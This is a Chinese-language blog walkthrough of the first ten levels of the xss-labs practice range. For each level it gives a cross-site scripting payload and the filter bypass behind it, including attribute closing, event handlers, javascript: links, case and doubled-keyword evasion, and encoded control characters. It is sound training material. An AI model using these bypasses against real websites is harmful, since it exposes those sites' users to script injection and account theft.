hacker

XSS挑战之旅(1~10)

2019-08-29  本文已影响0人  会飞的呆萌鱼

        xss-labs是国内一个大佬开源的xss漏洞靶子,包含一些常见的xss攻击方法。随便百度一下,就能找到源码以及搭建方法,比较简单,这里就不介绍了。

LAVEL 1
127.0.0.1/xss/level1.php?name=test

在“name=”后面写什么,网页就显示什么。

查看源码:

查看源码,发现写入的数据在<>标签的外面,那么name的值直接换成JS:<script>alert(1)</script>

LAVEL 2
http://127.0.0.1/xss/level2.php?keyword=test

在搜索框中输入<script>alret(1)</script>,发现没有弹窗弹出,查看网页源码,发现<>都被过滤掉了,但value里面没有过滤掉,闭合value的值,"><script>alret(1)</script>成功弹出窗口。

LAVEL 3
http://127.0.0.1/xss/level3.php?keyword=wait

在搜索框中输入<script>alret(1)</script>,发现没有弹窗弹出,查看网页源码,发现<>都被转义了
< : &lt;
> : &gt;
尝试直接用被转义后的实体内容带入:"&#62;&#60;script&#62;alert(1)&#60;script&#62;
发现还是不行。(这里使用了编码绕过,关于编码绕过的内容可以查看:https://www.jianshu.com/p/1035fca0e8b9)

由于<>都被转义了过滤了,可以利用input标签的其他属性进行窗口弹出,
 ' onfocus=javascript:alert(1)  '

这里还有个思路,就是在源码里直接修改input标签里的内容,也能实现窗口弹出,这种方法对有input标签的题目都有用。
<input name=keyword value='xxx'  type="button" onclick=alert(1)>
点击xxx按钮就可以弹出窗口

LAVEL 4
http://127.0.0.1/xss/level4.php?keyword=try%20harder!

在搜索框中输入<script>alert(1)</script>,查看网页源码,发现<>被转义和过滤掉了。和题目三一样,可以利用input标签的其他属性进行窗口弹出,
 " onfocus=javascript:alert(1)  "
或者把input标签的内容改为:
<input name=keyword value='xxx'  type="button" onclick=alert(1)>

LAVEL 5
http://127.0.0.1/xss/level5.php?keyword=find%20a%20way%20out!

在搜索框中输入<script>alert(1)</script>,查看源码,发现script被转义成scr_ipt,on被转义成o_n,但javascript没有被转义。输入:
"><a href=javascript:alert(1)>点我啊</a>
成功弹出窗口

LAVEL 6
http://127.0.0.1/xss/level6.php?keyword=k&submit=%E6%90%9C%E7%B4%A2

在搜索框中输入<script>alert(1)</script>等代码。发现转义了script、on、href、src等关键词。尝试大小写绕过:
" ><sCRipt>alert(1)</script>
也可以使用万能的方法,修改input标签里面的内容
<input name="keyword" value="k" type="button" onclick="alert(1)" >

LAVEL 7
http://127.0.0.1/xss/level7.php?keyword=nice%20try!
发现过滤了很多关键词:
<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:
尝试使用大小写绕过,没绕过,发现输入sscr变成了s。
"><scscriptriptscript>alert(1)</scscriptriptscript>
成功弹出窗口。

LAVEL 8
http://127.0.0.1/xss/level8.php?
输入<script>alert(1)</script>,发现输入的内容在a标签的href内。

在网址后面加:javascript:alert(1),变成javascr_ipt:alert(1),大小写绕过没用,利用属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()的特性,成功绕过:
http://127.0.0.1/xss/level8.php?keyword=javas%0dcript:alert()
一定要在浏览器中运行,在输入框中输入javas%0dcript:alert,点击添加友情链接按钮,输入内容中的编码字符不会被解码,而是当成文字提交。

LAVEL 9
http://127.0.0.1/xss/level9.php?keyword=not%20bad!

输入javascript:alert(1)查看源码显示“链接不合法”,尝试输入正常的链接:http://127.0.0.1显示正常,自己写了一个网页插入:
<html>
<script>alert(1)</script>
</html>
http://127.0.0.1/xss/level9.php?keyword=http://127.0.0.1/xss.html

有窗口弹出,并没有得到自己所要的答案。这个窗口属于自己所编写网页的窗口,并不是题目所属网页窗口。想了好久到没法绕过,看了网上网友写的wirteup,才明白。输入的代码中必须含有http://才不会被提示“链接不合法”。
http://127.0.0.1/xss/level9.php?keyword=javas%0acript:alert(1) <!--  http://  -->
http://127.0.0.1/xss/level9.php?keyword=javas%0acript:alert(1) // http://  

LAVEL 10
http://127.0.0.1/xss/level10.php?keyword

发现输出框都被隐藏起来了,使用input万能法,把其中一个input中的内容该为:
<input name="t_link"   value=""  type="button"  onclick=alert(1)>   
点击页面按钮,即可弹出茶窗口

上一篇下一篇

猜你喜欢

热点阅读